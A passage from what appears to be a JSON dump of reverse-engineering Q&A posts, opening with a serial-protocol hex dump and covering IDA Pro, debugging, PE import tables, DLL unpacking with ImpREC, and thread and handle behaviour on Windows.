F0 \n10 03 3F 88 00 00 00 \n10 02 41 02 20 00 F1 \n10 03 2F A9 00 00 00 \n10 02 41 02 20 00 F2 \n10 03 1F CA 00 00 00 \n10 02 41 02 20 00 F3 \n10 03 0F EB 00 00 00 \n10 02 41 02 20 00 F4 \n10 03 7F 0C 00 00 00 \n10 02 41 02 20 00 F5 \n10 03 6F 2D 00 00 00 \n10 02 41 02 20 00 F6 \n10 03 5F 4E 00 00 00 \n10 02 41 02 20 00 F7 \n10 03 4F 6F 00 00 00 \n10 02 41 02 20 00 F8 \n10 03 BE 80 00 00 00 \n10 02 41 02 20 00 F9 \n10 03 AE A1 00 00 00 \n10 02 41 02 20 00 FA \n10 03 9E C2 00 00 00 \n10 02 41 02 20 00 FB \n10 03 8E E3 00 00 00 \n10 02 41 02 20 00 FC \n10 03 FE 04 00 00 00 \n10 02 41 02 20 00 FD \n10 03 EE 25 00 00 00 \n10 02 41 02 20 00 FE \n10 03 DE 46 00 00 00 \n10 02 41 02 20 00 FF \nFF 00 00 00 00 00 00 \n10 03 CE 67 00 00 00 \n10 02 41 02 20 01 00 \n10 03 E3 A6 00 00 00 \n10 02 41 02 20 01 01 \n10 03 F3 87 00 00 00 \n10 02 41 02 20 01 02 \n10 03 C3 E4 00 00 00 \n10 02 41 02 20 01 03 \n10 03 D3 C5 00 00 00 \n10 02 41 02 20 01 04 \n10 03 A3 22 00 00 00 \n10 02 41 02 20 01 05 \n10 03 B3 03 00 00 00 \n10 02 41 02 20 01 06 \n10 03 83 60 00 00 00 \n10 02 41 02 20 01 07 \n10 03 93 41 00 00 00 \n10 02 41 02 20 01 08 \n10 03 62 AE 00 00 00 \n10 02 41 02 20 01 09 \n10 03 72 8F 00 00 00 \n10 02 41 02 20 01 0A \n10 03 42 EC 00 00 00 \n10 02 41 02 20 01 0B \n10 03 52 CD 00 00 00 \n10 02 41 02 20 01 0C \n10 03 22 2A 00 00 00 \n10 02 41 02 20 01 0D \n10 03 32 0B 00 00 00 \n10 02 41 02 20 01 0E \n10 03 02 68 00 00 00 \n10 02 41 02 20 01 0F \n10 03 12 49 00 00 00 \n10 02 41 02 20 01 10 \n10 10 03 F1 97 00 00 \n10 02 41 02 20 01 11 \n10 03 E1 B6 00 00 00 \n10 02 41 02 20 01 12 \n10 03 D1 D5 00 00 00 \n10 02 41 02 20 01 13 \n10 03 C1 F4 00 00 00 \n10 02 41 02 20 01 14 \n10 03 B1 13 00 00 00 \n10 02 41 02 20 01 15 \n10 03 A1 32 00 00 00 \n10 02 41 02 20 01 16 \n10 03 91 51 00 00 00 \n10 02 41 02 20 01 17 \n10 03 81 70 00 00 00 \n10 02 41 02 20 01 18 \n10 03 70 9F 00 00 00 \n10 02 41 02 20 01 19 \n10 03 60 BE 00 00 00 \n10 02 41 02 20 01 1A \n10 03 50 DD 00 00 00 \n10 02 41 02 20 01 1B \n10 03 40 FC 00 00 00 \n10 02 41 02 20 01 1C \n10 03 30 1B 00 00 00 \n10 02 41 02 20 01 1D \n10 03 20 3A 00 00 00 \n10 02 41 02 20 01 1E \n10 03 10 59 00 00 00 \n10 02 41 02 20 01 1F \n10 03 00 78 00 00 00 \n10 02 41 02 20 01 20 \n10 03 C7 C4 00 00 00 \n10 02 41 02 20 01 21 \n10 03 D7 E5 00 00 00 \n10 02 41 02 20 01 22 \n10 03 E7 86 00 00 00 \n10 02 41 02 20 01 23 \n10 03 F7 A7 00 00 00 \n10 02 41 02 20 01 24 \n10 03 87 40 00 00 00 \n10 02 41 02 20 01 25 \n10 03 97 61 00 00 00 \n10 02 41 02 20 01 26 \n10 03 A7 02 00 00 00 \n10 02 41 02 20 01 27 \n10 03 B7 23 00 00 00 \n10 02 41 02 20 01 28 \n10 03 46 CC 00 00 00 \n10 02 41 02 20 01 29 \n10 03 56 ED 00 00 00 \n10 02 41 02 20 01 2A \n10 03 66 8E 00 00 00 \n10 02 41 02 20 01 2B \n10 03 76 AF 00 00 00 \n10 02 41 02 20 01 2C \n10 03 06 48 00 00 00 \n10 02 41 02 20 01 2D \n10 03 16 69 00 00 00 \n10 02 41 02 20 01 2E \n10 03 26 0A 00 00 00 \n10 02 41 02 20 01 2F \n10 03 36 2B 00 00 00 \n10 02 41 02 20 01 30 \n10 03 D5 F5 00 00 00 \n10 02 41 02 20 01 31 \n10 03 C5 D4 00 00 00 \n10 02 41 02 20 01 32 \n10 03 F5 B7 00 00 00 \n10 02 41 02 20 01 33 \n10 03 E5 96 00 00 00 \n10 02 41 02 20 01 34 \n10 03 95 71 00 00 00 \n10 02 41 02 20 01 35 \n10 03 85 50 00 00 00 \n10 02 41 02 20 01 36 \n10 03 B5 33 00 00 00 \n10 02 41 02 20 01 37 \n10 03 A5 12 00 00 00 \n10 02 41 02 20 01 38 \n10 03 54 FD 00 00 00 \n10 02 41 02 20 01 39 \n10 03 44 DC 00 00 00 \n10 02 41 02 20 01 3A \n10 03 74 BF 00 00 00 \n10 02 41 02 20 01 3B \n10 03 64 9E 00 00 00 \n10 02 41 02 20 01 3C \n10 03 14 79 00 00 00 \n10 02 41 02 20 01 3D \n10 03 04 58 00 00 00 \n10 02 41 02 20 01 3E \n10 03 34 3B 00 00 00 \n10 02 41 02 20 01 3F \n10 03 24 1A 00 00 00 \n10 02 41 02 20 01 40 \n10 03 AB 62 00 00 00 \n10 02 41 02 20 01 41 \n10 03 BB 43 00 00 00 \n10 02 41 02 20 01 42 \n10 03 8B 20 00 00 00 \n10 02 41 02 20 01 43 \n10 03 9B 01 00 00 00 \n10 02 41 02 20 01 44 \n10 03 EB E6 00 00 00 \n10 02 41 02 20 01 45 \n10 03 FB C7 00 00 00 \n10 02 41 02 20 01 46 \n10 03 CB A4 00 00 00 \n10 02 41 02 20 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 05 \n10 03 68 94 00 00 00 \n10 02 41 02 02 00 06 \n10 03 58 F7 00 00 00 \n10 02 41 02 02 00 06 \n10 03 58 F7 00 00 00 \n10 02 41 02 02 00 06 \n10 03 58 F7 00 00 00 \n10 02 41 02 02 00 06 \n10 03 58 F7 00 00 00 \n10 02 41 02 02 00 06 \n10 03 58 F7 00 00 00 \n10 02 41 02 02 00 07 \n10 03 48 D6 00 00 00 \n10 02 41 02 02 00 07 \n10 03 48 D6 00 00 00 \n10 02 41 02 02 00 07 \n10 03 48 D6 00 00 00 \n10 02 41 02 02 00 07 \n10 03 48 D6 00 00 00 \n10 02 41 02 02 00 07 \n10 03 48 D6 00 00 00 \n10 02 41 02 02 00 08 \n10 03 B9 39 00 00 00 \n10 02 41 02 02 00 08 \n10 03 B9 39 00 00 00 \n10 02 41 02 02 00 09 \n10 03 A9 18 00 00 00 \n10 02 41 02 02 00 09 \n10 03 A9 18 00 00 00 \n10 02 41 02 02 00 09 \n10 03 A9 18 00 00 00 \n10 02 41 02 02 00 0A \n10 03 99 7B 00 00 00 \n10 02 41 02 02 00 0A \n10 03 99 7B 00 00 00 \n10 02 41 02 02 00 0B \n10 03 89 5A 00 00 00 \n10 02 41 02 02 00 0B \n10 03 89 5A 00 00 00 \n10 02 41 02 02 00 0D \n10 03 E9 9C 00 00 00 \n10 02 41 02 02 00 0D \n10 03 E9 9C 00 00 00 \n10 02 41 02 02 00 0E \n10 03 D9 FF 00 00 00 \nFF 00 00 00 00 00 00 \n10 02 41 02 02 00 0F \n10 03 C9 DE 00 00 00 \n10 02 41 02 02 00 10 \n10 00 00 00 00 00 00 \n10 03 2A 00 00 00 00 \n10 02 41 02 02 00 11 \n10 03 3A 21 00 00 00 \n10 02 41 02 02 00 12 \n10 03 0A 42 00 00 00 \n10 02 41 02 02 00 13 \n10 03 1A 63 00 00 00 \n10 02 41 02 02 00 14 \n10 03 6A 84 00 00 00 \n10 02 41 02 02 00 17 \n10 03 5A E7 00 00 00 \n10 02 41 02 02 00 19 \n10 03 BB 29 00 00 00 \n10 02 41 02 02 00 1D \n10 03 FB AD 00 00 00 \n10 02 41 02 02 00 20 \n10 03 1C 53 00 00 00 \n10 02 41 02 02 00 27 \n10 03 6C B4 00 00 00 \n10 02 41 02 02 00 2D \n10 03 CD FE 00 00 00 \n10 02 41 02 02 00 3C \n10 03 CF EE 00 00 00 \n10 02 41 02 02 00 49 \n10 03 E1 DC 00 00 00 \n10 02 41 02 02 00 7E \n10 03 A7 68 00 00 00 \n10 02 41 02 02 00 C4 \n10 03 A1 F9 00 00 00 \n10 02 41 02 02 7E E3 \n10 03 DE 2A 00 00 00 \n10 02 41 02 02 7E DA \n10 03 79 50 00 00 00 \n10 02 41 02 02 7E D1 \n10 03 C8 3B 00 00 00 \n10 02 41 02 02 7E C8 \n10 03 4B 23 00 00 00 \n10 02 41 02 02 7E B3 \n10 03 84 DF 00 00 00 \n10 02 41 02 02 7E 80 \n10 03 82 EF 00 00 00 \n10 02 41 02 02 7E 3A \n10 03 84 7E 00 00 00 \n10 02 41 02 02 7D D5 \n10 03 DD EC 00 00 00 \n10 02 41 02 02 7D 36 \n10 03 10 A1 00 00 00 \n10 02 41 02 02 7C 18 \n10 03 E6 3C 00 00 00 \n10 02 41 02 02 7B A9 \n10 03 C8 51 00 00 00 \n10 02 41 02 02 00 49 \n10 03 E1 DC 00 00 00 \n10 02 41 02 02 00 2D \n10 03 CD FE 00 00 00 \n10 02 41 02 02 00 3C \n10 03 CF EE 00 00 00 \n10 02 41 02 02 00 7E \n10 03 A7 68 00 00 00 \n10 02 41 02 02 01 C6 \n10 03 B2 8A 00 00 00 \n10 02 41 02 02 7E E3 \n10 03 DE 2A 00 00 00 \n10 02 42 02 01 00 00 \n10 03 05 8E 00 00 00 \n10 02 F4 02 20 00 01 \n00 01 10 03 4A BB 00 \n10 02 F4 02 20 00 01 \n10 03 5A 9A 00 00 00 \n10 02 F4 02 20 00 02 \n01 10 03 92 93 00 00 \n10 02 F4 02 20 00 02 \n00 10 03 82 B2 00 00 \n10 02 F4 02 28 00 FC \n10 03 4F 80 00 00 00 \n10 02 F4 02 28 00 00 \nF9 10 03 1F 25 00 00 \n10 02 F4 02 28 00 00 \nF6 10 03 EE CA 00 00 \n00 10 02 F4 02 28 00 \n00 F3 10 03 BE 6F 00 \n00 00 10 02 F4 02 28 \n00 00 F0 10 03 8E 0C \n00 00 00 10 02 F4 02 \n28 00 00 ED 10 03 4D \n90 00 00 00 10 02 F4 \n02 28 00 00 EA 10 03 \n3D 77 00 00 00 10 02 \nF4 02 28 00 00 E7 10 \n03 EC DA 00 00 00 10 \n02 F4 02 28 00 00 E4 \n10 03 DC B9 00 00 00 \n10 02 F4 02 28 00 00 \nE1 10 03 8C 1C 00 00 \n00 10 02 F4 02 28 00 \n00 DE 10 03 4B A0 00 \n00 00 10 02 F4 02 28 \n00 00 DB 10 03 1B 05 \n00 00 00 10 02 F4 02 \n28 00 00 D8 10 03 2B \n66 00 00 00 10 02 F4 \n02 28 00 00 D5 10 03 \nFA CB 00 00 00 10 02 \nF4 02 28 00 00 D3 10 \n03 9A 0D 00 00 00 10 \n02 F4 02 28 00 00 D0 \n10 03 AA 6E 00 00 00 \n10 02 F4 02 28 00 00 \nCD 10 03 69 F2 00 00 \n00 10 02 F4 02 28 00 \n00 CA 10 03 19 15 00 \n00 00 10 02 F4 02 28 \n00 00 C7 10 03 C8 B8 \n00 00 00 10 02 F4 02 \n28 00 00 C4 10 03 F8 \nDB 00 00 00 10 02 F4 \n02 28 00 00 C1 10 03 \nA8 7E 00 00 00 10 02 \nF4 02 28 00 00 BE 10 \n03 27 06 00 00 00 10 \n02 F4 02 28 00 00 BB \n10 03 77 A3 00 00 00 \n10 02 F4 02 28 00 00 \nB8 10 03 47 C0 00 00 \n00 10 02 F4 02 28 00 \n00 B5 10 03 96 6D 00 \n00 00 10 02 F4 02 28 \n00 00 B2 10 03 E6 8A \n00 00 00 10 02 F4 02 \n28 00 00 AF 10 03 25 \n16 00 00 00 10 02 F4 \n02 28 00 00 AC 10 03 \n15 75 00 00 00 10 02 \nF4 02 28 00 00 A9 10 \n03 45 D0 00 00 00 10 \n02 F4 02 28 00 00 A6 \n10 03 B4 3F 00 00 00 \n10 02 F4 02 28 00 00 \nA3 10 03 E4 9A 00 00 \n00 10 02 F4 02 28 00 \n00 A0 10 03 D4 F9 00 \n00 00 10 02 F4 02 28 \n00 00 9D 10 03 33 07 \n00 00 00 10 02 F4 02 \n28 00 00 9A 10 03 43 \nE0 00 00 00 10 02 F4 \n02 28 00 00 94 10 03 \nA2 2E 00 00 00 10 02 \nF4 02 28 00 00 91 10 \n03 F2 8B 00 00 00 10 \n02 F4 02 28 00 00 8E \n10 03 11 55 00 00 00 \n10 02 F4 02 28 00 00 \n8B 10 03 41 F0 00 00 \n00 10 02 F4 02 28 00 \n00 88 10 03 71 93 00 \n00 00 10 02 F4 02 28 \n00 00 85 10 03 A0 3E \n00 00 00 10 02 F4 02 \n28 00 00 82 10 03 D0 \nD9 00 00 00 10 02 F4 \n02 28 00 00 7F 10 03 \nEE 6B 00 00 00 10 02 \nF4 02 28 00 00 7D 10 \n03 CE 29 00 00 00 10 \n02 F4 02 28 00 00 7A \n10 03 BE CE 00 00 00 \n10 02 F4 02 28 00 00 \n77 10 03 6F 63 00 00 \n00 10 02 F4 02 28 00 \n00 74 10 03 5F 00 00 \n00 00 10 02 F4 02 28 \n00 00 71 10 03 0F A5 \n00 00 00 10 02 F4 02 \n28 00 00 6E 10 03 EC \n7B 00 00 00 10 02 F4 \n02 28 00 00 6B 10 03 \nBC DE 00 00 00 10 02 \nF4 02 28 00 00 68 10 \n03 8C BD 00 00 00 10 \n02 F4 02 28 00 00 65 \n10 03 5D 10 00 00 00 \n10 02 F4 02 28 00 00 \n62 10 03 2D F7 00 00 \n00 10 02 F4 02 28 00 \n00 5F 10 03 CA 09 00 \n00 00 10 02 F4 02 28 \n00 00 5C 10 03 FA 6A \n00 00 00 10 02 F4 02 \n28 00 00 59 10 03 AA \nCF 00 00 00 10 02 F4 \n02 28 00 00 56 10 03 \n5B 20 00 00 00 10 02 \nF4 02 28 00 00 53 10 \n03 0B 85 00 00 00 10 \n02 F4 02 28 00 00 50 \n10 03 3B E6 00 00 00 \n10 02 F4 02 28 00 00 \n4D 10 03 F8 7A 00 00 \n00 10 02 F4 02 28 00 \n00 4A 10 03 88 9D 00 \n00 00 10 02 F4 02 28 \n00 00 47 10 03 59 30 \n00 00 00 10 02 F4 02 \n28 00 00 44 10 03 69 \n53 00 00 00 10 02 F4 \n02 28 00 00 41 10 03 \n39 F6 00 00 00 10 02 \nF4 02 28 00 00 3E 10 \n03 B6 8E 00 00 00 10 \n02 F4 02 28 00 00 3B \n10 03 E6 2B 00 00 00 \n10 02 F4 02 28 00 00 \n38 10 03 D6 48 00 00 \n00 10 02 F4 02 28 00 \n00 35 10 03 07 E5 00 \n00 00 10 02 F4 02 28 \n00 00 32 10 03 77 02 \n00 00 00 10 02 F4 02 \n28 00 00 2F 10 03 B4 \n9E 00 00 00 10 02 F4 \n02 28 00 00 2C 10 03 \n84 FD 00 00 00 10 02 \nF4 02 28 00 00 2A 10 \n03 E4 3B 00 00 00 10 \n02 F4 02 28 00 00 27 \n10 03 35 96 00 00 00 \n10 02 F4 02 28 00 00 \n24 10 03 05 F5 00 00 \n00 10 02 F4 02 28 00 \n00 21 10 03 55 50 00 \n00 00 10 02 F4 02 28 \n00 00 1E 10 03 92 EC \n00 00 00 10 02 F4 02 \n28 00 00 1B 10 03 C2 \n49 00 00 00 10 02 F4 \n02 28 00 00 18 10 03 \nF2 2A 00 00 00 10 02 \nF4 02 28 00 00 15 10 \n03 23 87 00 00 00 10 \n02 F4 02 28 00 00 12 \n10 03 53 60 00 00 00 \n10 02 F4 02 28 00 00 \n0F 10 03 90 FC 00 00 \n00 10 02 F4 02 28 00 \n00 0C 10 03 A0 9F 00 \n00 00 10 02 F4 02 28 \n00 00 09 10 03 F0 3A \n00 00 00 10 02 F4 02 \n28 00 00 06 10 03 01 \nD5 00 00 00 10 02 F4 \n02 28 00 00 03 10 03 \n51 70 00 00 00 10 02 \nF4 02 28 00 00 00 10 \n03 61 13 00 00 00 10 \n02 F4 02 28 00 00 01 \n10 03 71 32 00 00 00 \n10 02 F4 02 28 00 00 \n00 10 03 61 13 00 00 \n00 10 02 F4 02 28 00 \n00 FE 10 03 6F C2 00 \n00 00 10 02 F4 02 28 \n00 00 FF FF 10 03 7F \nE3 00 00 00 10 02 F4 \n02 28 00 00 01 10 03 \n71 32 00 00 00 10 02 \nF4 02 28 00 00 00 10 \n03 61 13 00 00 00 10 \n02 F4 02 00 00 00 10 \n03 5B 38 00 00 00 10 \n02 F4 02 20 00 00 10 \n03 DD FE\n</code></p>\n"
    },
    {
        "Id": "8564",
        "CreationDate": "2015-03-26T16:20:07.673",
        "Body": "<p>This post might be specific to IDA Pro, so bear that in mind.</p>\n\n<p>I'm currently trying to write a plugin for debugging specifically one executable. I know that a certain object in the executable's process exists at 0xAB40C0 (it always exists there). Can I simply write object* obj = (object*)0xAB40C0; and then access the various members of it? </p>\n",
        "Title": "During debugging, is the process memory the same as the debugger's memory space?",
        "Tags": "|ida|debugging|c|",
        "Answer": "<p>In the case of linux, debuggers typically use the ptrace API to inspect and modify the process space of the process being debugged. And no, they do not share the address space.</p>\n\n<p>As a side note, dynamic binary instrumentation frameworks such as PIN do involve inserting itself into the process space of the binary being instrumented.</p>\n"
    },
    {
        "Id": "8570",
        "CreationDate": "2015-03-27T08:26:43.000",
        "Body": "<p>IDA Pro's <code>idaapi.BasicBlock</code> objects returned by <code>idaapi.FlowChart()</code> can be of the following types (see <code>gdl.hpp</code> in the SDK sources):</p>\n\n<pre><code>// flow chart block types\nenum fc_block_type_t\n{\n  fcb_normal,    // normal block\n  fcb_indjump,   // block ends with indirect jump\n  fcb_ret,       // return block\n  fcb_cndret,    // conditional return block\n  fcb_noret,     // noreturn block\n  fcb_enoret,    // external noreturn block (does not belong to the function)\n  fcb_extern,    // external normal block\n  fcb_error,     // block passes execution past the function end\n};\n</code></pre>\n\n<p>I was able to find examples for all types except <code>fcb_cndret</code>. What does </p>\n\n<blockquote>\n  <p>conditional return block</p>\n</blockquote>\n\n<p>mean? Could somebody give an example?</p>\n",
        "Title": "IDA basic block type fcb_cndret - what does it mean?",
        "Tags": "|ida|disassembly|idapython|idapro-sdk|",
        "Answer": "<p>Conditional returns are found in some instruction set architectures.</p>\n<p>For example, the 8085 has instructions which will action a subroutine return if a status flag is set/clear:</p>\n<pre><code>RZ   ... return if Z flag set\nRC   ... return if C flag set\nRNZ  ... return if Z flag clear\n...\n</code></pre>\n"
    },
    {
        "Id": "8577",
        "CreationDate": "2015-03-27T16:01:04.260",
        "Body": "<p>Currently I am learning about profiling parallel programs. All the profilers heavily use all kinds of instrumentations but this topic is not well explained. Do you know any good sources from which I could learn about instrumentation (static, binary, dynamic)?</p>\n",
        "Title": "Where can I learn about code instrumentation?",
        "Tags": "|binary-analysis|static-analysis|dynamic-analysis|instrumentation|",
        "Answer": "<p>Before jumping straight to interesting articles and sources I'll start by defining the key words, just in case.</p>\n\n<ul>\n<li><p><strong>Static analysis :</strong> consists in analyzing the target binary file without executing it. Hence the <code>static</code>. Such analysis can be used in order to build a first draft of the application's <strong>Control Flow Graph</strong>, <strong>Call Graph</strong>, ...\nFor example, building the <strong>CFG</strong> consists of cutting the code into <em>basic blocks</em> and then linking them using the branch targets (if they're not indirect branches). </p></li>\n<li><p><strong>Dynamic analysis :</strong> consists in inserting probes (function calls) around key areas of the binary, running the binary and dumping the probes' results. Such probes can be <strong>rdtsc</strong> instructions on x86, or any other hardware counter.\nFor example, dynamic analysis is used by <strong>Gprof</strong> to assess the amount of time spent in each function. Many other profilers such as <strong>VTune</strong>, <strong>MAQAO</strong>, <strong>DynInst</strong>, ... use dynamic analysis to locate hotspots.</p></li>\n</ul>\n\n<p>Both of these analyses can be applied to a binary file (meaning an executable program), and that's what we call binary analysis.\nOn the other hand, static analysis can be applied on source code as well as binary. <a href=\"http://en.wikipedia.org/wiki/Lint_%28software%29\" rel=\"nofollow\">Lint</a>, for example, performs static analysis in order to find buggy code constructs.</p>\n\n<p>There aren't many detailed references I can cite, rather a set of scientific publications which span the use and benefits of those techniques, along with some interesting algorithms. </p>\n\n<p>For static analysis I would recommend this collection of articles : <a href=\"http://www.springer.com/fr/book/9783642388552?cm_mmc=EVENT-_-BookAuthorEmail-_-&amp;wt_mc=event.BookAuthor.Congratulation\" rel=\"nofollow\">Static Analysis 20th International Symposium, SAS 2013, Seattle, WA, USA, June 20-22, 2012, Proceedings.</a> </p>\n\n<p>For dynamic analysis I would recommend you going through the publications around of <a href=\"http://maqao.org/\" rel=\"nofollow\">MAQAO</a>, <a href=\"http://www.dyninst.org/\" rel=\"nofollow\">DynInst</a>, <a href=\"https://silc.zih.tu-dresden.de/scorep-current/html/\" rel=\"nofollow\">ScoreP</a>, and <a href=\"https://www.cs.uoregon.edu/research/tau/news.php\" rel=\"nofollow\">TAU</a> </p>\n"
    },
    {
        "Id": "8582",
        "CreationDate": "2015-03-28T12:10:34.103",
        "Body": "<p>During RCE of a piece of code, I have found this:</p>\n\n<pre><code>    loc_40244F:\n    mov eax, [ebx+20h]\n    add ebx, 14h\n    test eax, eax\n    jnz loc_402397\n</code></pre>\n\n<p>What I know is that ebx points to the import directory structure of the considered PE file.</p>\n\n<p>But when I look at it, I see the following:</p>\n\n<pre><code>     Import Directory\n     +0 DWORD   OriginalFirstThunk; \n      4 DWORD   TimeDateStamp;\n      8 DWORD   ForwarderChain; \n      c DWORD   Name;\n     10 DWORD   FirstThunk;\n</code></pre>\n\n<p>So, to which location is the [ebx+20h] expression pointing ?\nI hope somebody can help me.</p>\n\n<p>best regards,</p>\n",
        "Title": "Target of offset into import directory unclear",
        "Tags": "|assembly|struct|",
        "Answer": "<p>If <code>ebx</code> really points to an <code>IMAGE_IMPORT_DESCRIPTOR</code>, then [ebx+20h] points to the <code>name</code> field of the next <code>IMAGE_IMPORT_DESCRIPTOR</code>.</p>\n\n<pre><code>mov eax, [ebx+20h] ;  0x20 = 0x14 + 0xc \n</code></pre>\n\n<p>where 0x14 is <code>sizeof(IMAGE_IMPORT_DESCRIPTOR)</code> and 0x0c is <code>offsetof(IMAGE_IMPORT_DESCRIPTOR, Name)</code>.</p>\n\n<p>Also, remember that the last <code>IMAGE_IMPORT_DESCRIPTOR</code> is always an <code>IMAGE_IMPORT_DESCRIPTOR</code> with all fields set to 0 (according to the <a href=\"https://msdn.microsoft.com/en-us/windows/hardware/gg463119.aspx\" rel=\"nofollow\">official PE documentation</a>):</p>\n\n<blockquote>\n  <p>The last directory entry is empty (filled with null values), which\n  indicates the end of the directory table</p>\n</blockquote>\n\n<p>As noted by @peterferrie, if the <code>Name</code> field is NULL/0 then the other field are meaningless so your code is checking if the next <code>IMAGE_IMPORT_DESCRIPTOR</code> is the last, so it can stop processing the array of <code>IMAGE_IMPORT_DESCRIPTOR</code>.</p>\n\n<p>You could surely test this by checking the value in <code>eax</code> and comparing it to the value in an hex editor or a PE browsing tool.</p>\n"
    },
    {
        "Id": "8584",
        "CreationDate": "2015-03-28T17:13:17.470",
        "Body": "<p>I am trying to unpack a DLL and fix the import tables with ImpRec. However, I am stuck with this error.  Following is what I have tried. </p>\n\n<ol>\n<li>Modified the flag in its PE header so that windows loads the file as an exe, not a dll. </li>\n<li>Loaded to Immunity Debugger and found the real entry point(Entry point of unpacked binary)</li>\n<li>Dumped the the binary at this entry point.</li>\n<li>Now I opened ImpREC to fix the import table of the of the dumped DLL. However, in ImpREC the base memory displayed is 7100000. When I give \"068BA2A0\" as entry point, ImpRec complaints invalid OEP!. I dont understand how the base address of the debugged process is \"7100000\". I suspect this could be the problem.</li>\n</ol>\n\n<p><img src=\"https://i.stack.imgur.com/X3C6W.png\" alt=\"enter image description here\"></p>\n\n<p>Why is this error? Any pointers to fix it? </p>\n",
        "Title": "Fixing import table of unpacked DLL with ImpREC : ImpRec throws \"invalid OEP!\" error",
        "Tags": "|dll|unpacking|immunity-debugger|dumping|import-reconstruction|",
        "Answer": "<p>I think this is too late but let's reply though.\nBy default ImpREC has \"Use PE Header From Disk\" enabled. Which means it will NOT use the relocated DLL imagebase. 2 options :</p>\n\n<ul>\n<li>1 - Untick it in options and reselect your target</li>\n<li>2 - Use a custom PE header with Advanced commands / Load PE Header</li>\n</ul>\n\n<p>-> First choice is the best for your case.</p>\n\n<p>Explaination : the reason \"Use PE Header From Disk\" is enabled by default, comes from protector which destroys the header in memory so it's best to rely on disk but it's bad for DLL.</p>\n"
    },
    {
        "Id": "8589",
        "CreationDate": "2015-03-29T14:51:00.080",
        "Body": "<p>During the analysis of a piece of code,  I have seen that a process is created in a suspended state. The process had one thread. Then they are changing the start address of that thread. After doing that,  the thread is started with ResumeThread(). Later, it closes the handle to the process using CloseHandle(). </p>\n\n<p>So, my question would be : Is it possible that the thread with the manipulated start address is still running after we close the handle to the corresponding process? Is the thread still running although the process to which it belongs is closed because of the changed starting address or will the thread also closed  automatically after CloseHandle(processhandle) ? </p>\n\n<p>Best regards, </p>\n",
        "Title": "Running thread without process - special case",
        "Tags": "|process|",
        "Answer": "<blockquote>\n  <p>Is it possible that the thread with the manipulated start address is\n  still running after we close the handle to the corresponding process?\n  Is the thread still running although the process to which it belongs\n  is closed because of the changed starting address or will the thread\n  also closed automatically after CloseHandle(processhandle) ?</p>\n</blockquote>\n\n<p>Yes. From <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms724211%28v=vs.85%29.aspx\" rel=\"nofollow\">the official <code>CloseHandle()</code> documentation</a>:</p>\n\n<p>\"Closing a thread handle does <strong>not</strong> terminate the associated thread or remove the thread object. Closing a process handle does <strong>not</strong> terminate the associated process or remove the process object.\"</p>\n"
    },
    {
        "Id": "8590",
        "CreationDate": "2015-03-29T15:24:53.180",
        "Body": "<p>We all know that in typical programs, there exist some references. </p>\n\n<p><img src=\"https://i.stack.imgur.com/Ue99a.png\" alt=\"enter image description here\"></p>\n\n<p>When compiling, linker will translate all the memory references into <strong>concrete memory addresses</strong> during the symbol relocation step. And by doing some quick experiments (IDA-Pro 6.4), I notice that IDA-Pro can help to lift these memory addresses back into symbols. </p>\n\n<p>However, I found that the symbolization functionality of IDA-Pro can be mislead by some cases. So what I am interested is to calculate how many references have been recovered by IDA-Pro. I am asking that is there anyway to obtain the information of <strong>\"how many memory references are recovered by IDA-Pro?\"</strong></p>\n\n<p>Thanks @Jason a lot for his answer, but what I am trying to do is not collect all the labels. Here is an example:</p>\n\n<p><img src=\"https://i.stack.imgur.com/jKc9B.png\" alt=\"enter image description here\"></p>\n\n<p>Please pay attention to the symbol <code>sub_80484AE</code> in address <code>0x804a020</code>. Note that the 4 byte data <code>0x08, 0x04, 0x84, 0xae</code> in porocessed binary are considered as a symbol, as it is equal to the beginning address of function <code>sub_80484AE</code>. This is true. However, as no instruction refers to the address <code>0x804A020</code>, so there is no <code>name</code> in address <code>0x804a020</code>. </p>\n\n<p>What I want to collect is all the symbols with its corresponding address, for example, in the above case, I need to collect this </p>\n\n<pre><code>0x804a018 : sub_804847b\n0x804a01dc : _strchr\n0x804a020 : sub_80484AE\n</code></pre>\n\n<p>Am I clear enough? I really appreciate if anyone can give me some help! Thank you a lot!!</p>\n\n<p>----------------------------------------------- update ---------------------------------------</p>\n\n<p>Am I still not clear enough? </p>\n\n<p>Let me put it in this way. Can I obtain all the symbol information which used to be resolved by linker? Say, in the picture I updated, during compiling linker resolved three symbols, at memory address 0x804a018, 0x804a01dc, 0x804a020. IDA-Pro recovers some of these information. So I want to collect all the IDA recovered symbol information (this information could be <strong>function name</strong>, or it could be <strong>an entry of jump table</strong>, or it could be a <strong>jump destination</strong>, as I draw in the picture). </p>\n\n<p>Note that I want to recover the information in a format that each resolved symbol together with the memory address. For example in the picture, it should be:</p>\n\n<pre><code>0x804a018 : sub_804847b\n0x804a01dc : _strchr\n0x804a020 : sub_80484AE\n</code></pre>\n\n<p>I am thinking to traverse all the memory address of a binary, and check each the oprend of 